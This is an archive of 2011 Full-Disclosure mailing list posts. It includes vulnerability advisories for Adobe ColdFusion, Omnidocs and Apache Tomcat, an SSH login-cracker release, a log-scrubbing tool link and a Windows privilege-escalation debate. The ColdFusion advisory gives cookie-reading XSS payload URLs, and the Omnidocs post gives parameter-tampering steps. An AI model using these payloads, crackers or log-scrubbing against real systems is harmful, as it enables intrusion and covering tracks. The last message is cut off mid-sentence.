Re: [Full-disclosure] VPN provider helped track down alleged LulzSec member

[Laurelai Storm]

And the guy wasnt even a part of lulzsec
On Sep 26, 2011 10:37 PM, "Jeffrey Walton"  wrote:
> On Mon, Sep 26, 2011 at 8:47 PM, Ivan .  wrote:
>>
http://www.h-online.com/security/news/item/VPN-provider-helped-track-down-alleged-LulzSec-member-1349666.html
> Though HMA claims they complied with a court order, it looks as if
> they facilitated a law enforcement request. The US and the FBI have no
> jurisdiction in the UK.
>
> Jeff
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] VPN provider helped track down alleged LulzSec member

[Jeffrey Walton]

On Mon, Sep 26, 2011 at 8:47 PM, Ivan .  wrote:
> http://www.h-online.com/security/news/item/VPN-provider-helped-track-down-alleged-LulzSec-member-1349666.html
Though HMA claims they complied with a court order, it looks as if
they facilitated a law enforcement request. The US and the FBI have no
jurisdiction in the UK.

Jeff

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Twitter URL spoofing still exploitable

[Pablo Ximenes]

Some of you might consider this blog post of value: http://ximen.es/?p=534

Thanks,

Pablo Ximenes
http://ximen.es/
http://twitter.com/pabloximenes

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] VPN provider helped track down alleged LulzSec member

[Ivan .]

http://www.h-online.com/security/news/item/VPN-provider-helped-track-down-alleged-LulzSec-member-1349666.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] XSS and FPD vulnerabilities in Adobe ColdFusion

[MustLive]

Hello list!

I want to warn you about new security vulnerabilities in Adobe ColdFusion.

These are Cross-Site Scripting and Full path disclosure vulnerabilities.

-
Affected products:
-

Vulnerable are Adobe ColdFusion 7 and previous versions to XSS, and Adobe
ColdFusion 9 and previous versions to FPD.

--
Details:
--

XSS (WASC-08):

http://site/CFIDE/componentutils/componentdetail.cfm?component=%3Cbody%20onload=alert(document.cookie)%3E

http://site/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=%3Cbody%20onload=alert(document.cookie)%3E

http://site/CFIDE/componentutils/cfcexplorer.cfc?method=%3Cbody%20onload=alert(document.cookie)%3E

http://site/CFIDE/componentutils/cfcexplorer.cfc (XSS via header User-Agent)

http://site/CFIDE/probe.cfm (XSS via header User-Agent)

http://site/CFIDE/Application.cfm (XSS via header User-Agent)

http://site/CFIDE/componentutils/Application.cfm (XSS via header User-Agent)

http://site/CFIDE/componentutils/_component_cfcToHTML.cfm (XSS via header
User-Agent)

http://site/CFIDE/componentutils/_component_cfcToMCDL.cfm (XSS via header
User-Agent)

Full path disclosure (WASC-13):

http://site/CFIDE/probe.cfm

http://site/CFIDE/componentutils/componentdetail.cfm?component=CFIDE.adminapi.base

http://site/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=WEB-INF.cftags.component

http://site/CFIDE/componentutils/cfcexplorer.cfc?method=1

http://site/CFIDE/componentutils/_component_cfcToHTML.cfm

http://site/CFIDE/componentutils/_component_cfcToMCDL.cfm

Via componentdetail.cfm and cfcexplorer.cfc it's possible to get FPD even at
turned off debug messages at the server.


Timeline:


2011.06.25 - announced at my site.
2011.06.30 - informed developers.
2011.09.23 - disclosed at my site.

I mentioned about these vulnerabilities at my site:
http://websecurity.com.ua/5243/

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] sshtrix - a very fast multithreaded SSHv1 and SSH1v2 login cracker (version 0.0.2)

[Levent Kayan]

hi there,

i publish sshtrix version 0.0.2 with lot's of improvements and features.
nice tool. ;)

you can get it here: http://www.noptrix.net/codes.html


cheers,
noptrix
-- 
Name: Levent 'noptrix' Kayan
E-Mail: nopt...@lamergarten.net
GPG key: 0x014652c0
Key fingerprint: ABEF 4B4B 5D93 32B8 D423 A623 823D 4162 0146 52C0
Homepage: http://www.noptrix.net/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [CVE-2011-3645] Multiple vulnerability in "Omnidocs"

[Sohil Garg]

 
Hi All,



I would like to inform about multiple vulnerability in NewGen's 
Omnidocs application. 


 Exploit Title: Multiple Vulnerability in "Omnidocs"
 Author: Sohil Garg

 CVE : CVE-2011-3645
 

Product Description:
OmniDocs is an Enterprise Document Management (EDM) platform for creating, 
capturing, managing, delivering and archiving large volumes of documents and 
contents. Also integrates seamlessly with other enterprise applications.

 
Vulnerability Details:

 

1.Vulnerbility Type
Privilege escalation

Affected URL: 
http://serverIP/omnidocs/doccab/doclist.jsp?DocListFolderId=927964&FolderType=G&FolderRights=01000&FolderName=1234&FolderOwner=test&FolderLocation=G&Fold
erAccessType=I&ParentFolderIndex=100&FolderPathFlag=Y&Fetch=5&VolIndex=1&VolIndex=1
 
Vulnerable Parameter: 
FolderRights

Exploit
Omnidocs application does not validate 'FolderRights' parameter. This parameter 
could be modified to '1' to get full access including rights to add 
documents, add folders, delete folders and place orders.



2.Vulnerability Type
Direct Object Access

Sample URL:
http://serverIP/omnidocs/doccab/userprofile/editprofile.jsp

Vulnerable Parameter:
UserIndex

Exploit:
Omnidocs application does not validate 'UserIndex' parameter. 'UserIndex' 
parameter is used to access the personal setting page. This parameter can be 
changed to other valid numbers thereby gaining access to view or change other 
user's personal settings.


Timeline:
Notified Vendor: 01-Sep-2011
No response received from vendor for 3 weeks
Public Disclosure: 23-Sep-2011


Greetz to:

1] Nikhil Mittal
 
Thanks and Regards,
Sohil Garg___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] sshd logins without a source

[Jason A. Donenfeld]

This is useful for scrubbing wtmp/utmp:

http://git.zx2c4.com/lastlog/tree/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] sshd logins without a source

[Nikolaos Mitsis]

> At the time of the compromise I can see in each
> servers sshd logs an entry like the following:
>
> Sep 22 12:57:14 test-vm sshd[25002]: pam_unix(sshd:session): session
> opened for user root by (uid=0)
> Sep 22 12:57:32 test-vm sshd[25002]: pam_unix(sshd:session): session
> closed for user root
>

Have you checked the integrity of sshd binary? It could be replaced with a
copy that "forgets" to log so you don't get the sshd logs (possibly after
receiving a specified password).
However the above logs are from pam (pam_unix does the logging on behalf of
sshd) so it's not possible to disable this in the sshd binary itself.

cheers,
ν.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [SECURITY] CVE-2011-1184 Apache Tomcat - Multiple weaknesses in HTTP DIGEST authentication

[Mark Thomas]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

CVE-2011-1184 Apache Tomcat - Multiple weaknesses in HTTP DIGEST
authentication

Severity: Moderate

Vendor: The Apache Software Foundation

Versions Affected:
- - Tomcat 7.0.0 to 7.0.11
- - Tomcat 6.0.0 to 6.0.32
- - Tomcat 5.5.0 to 5.5.33
- - Earlier, unsupported versions may also be affected

Description:
The implementation of HTTP DIGEST authentication was discovered to
have several weaknesses:
- - replay attacks were permitted
- - server nonces were not checked
- - client nonce counts were not checked
- - qop values were not checked
- - realm values were not checked
- - the server secret was hard-coded to a known string
The result of these weaknesses is that DIGEST authentication was only
as secure as BASIC authentication.

Mitigation:
Users of Tomcat 7.0.x should upgrade to 7.0.12 or later
Users of Tomcat 6.0.x should upgrade to 6.0.33 or later
Users of Tomcat 5.5.x should upgrade to 5.5.34 or later

Credit:
This issue was identified by the Apache Tomcat security team

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/security-5.html
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQIcBAEBAgAGBQJOgF0tAAoJEBDAHFovYFnnv70QALdoVwivDt9bXBEpMgjJ0/NY
kadCFsA/X+O8TEKTRx/85B54Spgv8dGJFiPMettdbfjFuq7ADsRiAbxsZQ3dEIfJ
esrWfPJRTpXhjKU1OOLmoDvoueAD0pD7/qvl8o9bFowxGXLWqvO/elFe+4AH2YjZ
ux9tWOlWn46Q7ffaNOzRebjPVIQ3ebB+FH9ToZAdNfFFIZbtxYRMV02wRfHWq+fU
kTJ+hKF0XOpzyIut3zkmE00ZuvGAPLdnZcMKq9m/X/dt/niP2nT8H28Xx1Zu8sW+
CUE7CRse4pI6fGuXVrOAk1akyN/hkiSPxDNsDnHxALTNmjr1Z+DAs7QT5IKc3EDv
NeSXAnxKfIJ83jcjam1bEf38UN1uYatP/u6XJCVpnOr0UjJ9wtO+QgSV/93eiyD7
YCpVcmKay/jvWmLPp7MRB+h6FGhJNw5OA5k7IWJePBXC39p6tpac3vsOKx1OGU38
QKUglIro/TtZo7gmfeG8lD3lI493l25+3E/vBiSrbfSHua3bmyFQikQMhy2ZPYIt
4wEfdaW4hUBJHpxkDaotuTTN8ATzQLtDNTGei2u76ZXQiOjTLUDGam++6fR+kfZU
gloAy8ZIS702hoXg/ypFPtcyIx435dOgxtGIbOedmDUsy1ErGTCAksrOyn2yZl3v
+Ew0bAULNmXwKQeMyDj0
=u/Ai
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Privilege escalation on Windows using BinaryPlanting

[Mario Vilas]

This is a bit old (2007) but it shows this kind of bug perfectly well.
http://securitytracker.com/id/1018588

So I can imagine one scenario in which DLL hijacking would make sense - if
the developers neglected to properly set the directory permissions and it
got reported as a vuln, the patch *could* have been to properly set the
permissions on *files* and forget to set them on the directory.

It'd be an extremely stupid way to patch. Then again, it's an extremely
stupid bug to begin with, so... :)

On Mon, Sep 26, 2011 at 3:36 AM, Thor (Hammer of God)
wrote:

>  You'd have to be admin to install as a service, and the service would
> obviously need to then be running as local system to be of benefit (beyond
> what a normal user could do anyway) AND the installer would have to grant a
> normal user rights to overwrite it.
>
>  Certainly possible, but the developer would have to go out of their way
> to screw that up. And if they did, it still wouldn't be because of the OS...
>
>  T
>
>
> On Sep 25, 2011, at 6:18 PM, "Travis Biehn"  wrote:
>
>   GloW: there's a lot of 3rd party software that installs itself as
> windows services.
>
>  -Travis
>
> On Sun, Sep 25, 2011 at 9:15 PM, GloW - XD < 
> doo...@gmail.com> wrote:
>
>> Haha , too good and too true thor !
>>
>>
>> Maybe he can trick the user into installing on a FAT32 partition first,
>> and THEN get the to execute from a remote share!
>>
>>  Rofl x10.
>>
>> Agreed , this kind of attack, is NOT deasible in 2011, try maybe, 2006.
>>
>> Anyhow it has been a pleasure, ending this BS i think once and for all,
>> lookup how winlogon works for one thing, then look at how windows creates
>> and maintains a service_table, and then at the dlls, wich are protected ofc,
>> you cannot touch msgina.dll,without ALOT of help from a rootkit or something
>> similar, in wich case, why would you need to ?
>> You could add an admin, hidden, and in simple batfile script (yes i do
>> have my own code but no it is not for kids..), this is 10seconds and hidden,
>> so when you have gotten that far, why would you bother to hijack a dll ?
>>
>> You CANNOT do crap,without complete ADMIN not SYSTEm, ADMIN$ share, and
>> total axcs to all sockets, meaning, all pipe control and thats where half of
>> windows exchanges smb shares for one thing, you guys dont seem to know CRAP
>> about windows to start with, then have the gall to raise such a frigging
>> ridiculous topic about a non happening, YOUTUBE ONE 'real' event, of this
>> being useful, or, even just working, and i would look but, you wont, cannot,
>> and will never be able to, especially on newer systems of windows7-8.
>> As i said earlier, enjoy your bs DFLL hijacking, but ms, dont care for it,
>> and whatever patches they instilled, dont touch even service_table.. so,
>> they have not given it a high prio,and why shuld they.
>>
>> This is simply a case of a secteam gaining notoriety, to try and make this
>> a 'big bug!!' , to try and gain brownie points from MS. Even tho, i dont
>> believe in many things MS, I know windows system, and how to break it,
>> better than many people, and i can tell you now, this whole DLL hijack, is a
>> complete and utter waste of your times.
>> But... keep on going, maybe MS will send you another 'thankyou' email ;)
>> xd / crazycoders.com / #haxnet@Ef
>>
>>
>>
>>
>>
>> On 26 September 2011 10:52, Thor (Hammer of God) < 
>> t...@hammerofgod.com> wrote:
>>
>>>  Maybe he can trick the user into installing on a FAT32 partition first,
>>> and THEN get the to execute from a remote share!
>>>
>>> On Sep 25, 2011, at 5:30 PM, "Travis Biehn" < 
>>> tbi...@gmail.com> wrote:
>>>
>>>   It might be a fun experiment to see what DLLs they're looking for :.)
>>>
>>>
>>> -Travis
>>>
>>> On Sun, Sep 25, 2011 at 2:57 PM, < 
>>> 
>>> kz2...@googlemail.com> wrote:
>>>
 To replace a service executable you usually need administrator access
 anyway.


 --Original Message--
 From: Madhur Ahuja
 Sender:  
 
 full-disclosure-boun...@lists.grok.org.uk
 To: 
 security-bas...@securityfocus.com
 To: 
 full-disclosure@lists.grok.org.uk
 Subject: [Full-disclosure] Privilege escalation on Windows using
 BinaryPlanting
 Sent: 25 Sep 2011 19:31

 Imagine a situation where I have a Windows system with the restricted
 user access and want to get the Administrator access.

 There are many services in Windows which run with SYSTEM account.

 If there exists even one such service whose executable is not
 protected by Windows File Protection, isn't it possible to execute
 malicious code (such as gaining Administrator access) simply by
 replacing the service executable with malicious one and then
 restarting the service.

 As a restricted user, what's stopping me to do this ?

 Is there any integrity check performed by services.msc or service
 itself before executing with SYSTEM acc